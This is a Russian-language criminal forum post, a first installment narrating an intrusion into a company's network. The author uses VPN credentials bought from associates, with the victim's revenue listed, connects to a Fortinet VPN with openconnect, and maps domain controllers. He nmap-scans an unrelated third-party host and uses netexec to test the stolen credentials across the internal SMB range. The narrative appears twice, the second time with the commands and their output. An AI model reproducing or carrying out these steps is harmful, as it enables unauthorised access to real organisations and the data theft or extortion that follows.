Специально для нашего любимого форума данная заметочка.
Дело было так. Написал корешам в чат, попросил доступ.
Перешел по вебу смотрю впна нет, подключиться не могу. Решил просканить быстренько айпишник на открытые порты.
Вот он! Наш фортик. Коннектимся к нему.
подключились, получили роуты.
Первое что я хочу сделать это понять где дисишка (DC) и какое время на таргете. Чтобы офисники мозги не ебали.
192.168.2.30, 192.168.2.31 - DC
Увы 123 порт накрыт фаерволом. Нам нужен открытый порт 123 UDP.
К примеру вот тестовый таргет ff.garena.com вы смогли получить время т.к 123 порт открыт. Убедимся в этом через nmap.
Вот как видим порт открыт. Это я объясняю для чайников=))) Мы же посмотрим время иначе. На сайте таргета есть контактный номер для связи. Я по нему определил город и понял что у них GMT-4.
глянем куда с кредами впна впустит
ок. Одна шара.
Забыл посмотреть сколько компов в сетке
[*] Alived: 98, Total: 256 , 2025-03-17 15:24.46
98 компов. Ну нихуево=) Это важно посмотреть, т.к у нас мог бы быть доступ к одному маленькому офису, а тут вроде норм сеть.
Чтобы легче читалось я буду отрывками скидывать... Продолжение следует.
Дело было так. Написал корешам в чат, попросил доступ.
username|None|passwd|ip:443|domain.com|UNKNOWN|None|$7.9 Million|https://ip:443Не удалось прогрузить медиа
Перешел по вебу смотрю впна нет, подключиться не могу. Решил просканить быстренько айпишник на открытые порты.
gogo -i ip -p top2Не удалось прогрузить медиа
Вот он! Наш фортик. Коннектимся к нему.
sudo openconnect --protocol=fortinet https://ip:10443подключились, получили роуты.
Не удалось прогрузить медиа
Первое что я хочу сделать это понять где дисишка (DC) и какое время на таргете. Чтобы офисники мозги не ебали.
Не удалось прогрузить медиа
192.168.2.30, 192.168.2.31 - DC
Не удалось прогрузить медиа
Увы 123 порт накрыт фаерволом. Нам нужен открытый порт 123 UDP.
Не удалось прогрузить медиа
К примеру вот тестовый таргет ff.garena.com вы смогли получить время т.к 123 порт открыт. Убедимся в этом через nmap.
sudo nmap -sU -p 123 148.222.67.157Не удалось прогрузить медиа
Вот как видим порт открыт. Это я объясняю для чайников=))) Мы же посмотрим время иначе. На сайте таргета есть контактный номер для связи. Я по нему определил город и понял что у них GMT-4.
глянем куда с кредами впна впустит
netexec smb 192.168.2.0/24 -u 'vpn' -p 'passwd*'SMB 192.168.2.96 445 IBECAGFZM1 [+] localdomain\vpn:passwd* (Guest)ок. Одна шара.
Забыл посмотреть сколько компов в сетке
gogo -i 192.168.2.0/24 -p 445 [*] Alived: 98, Total: 256 , 2025-03-17 15:24.46
98 компов. Ну нихуево=) Это важно посмотреть, т.к у нас мог бы быть доступ к одному маленькому офису, а тут вроде норм сеть.
Чтобы легче читалось я буду отрывками скидывать... Продолжение следует.
👍28
😮9
😢4
LIMB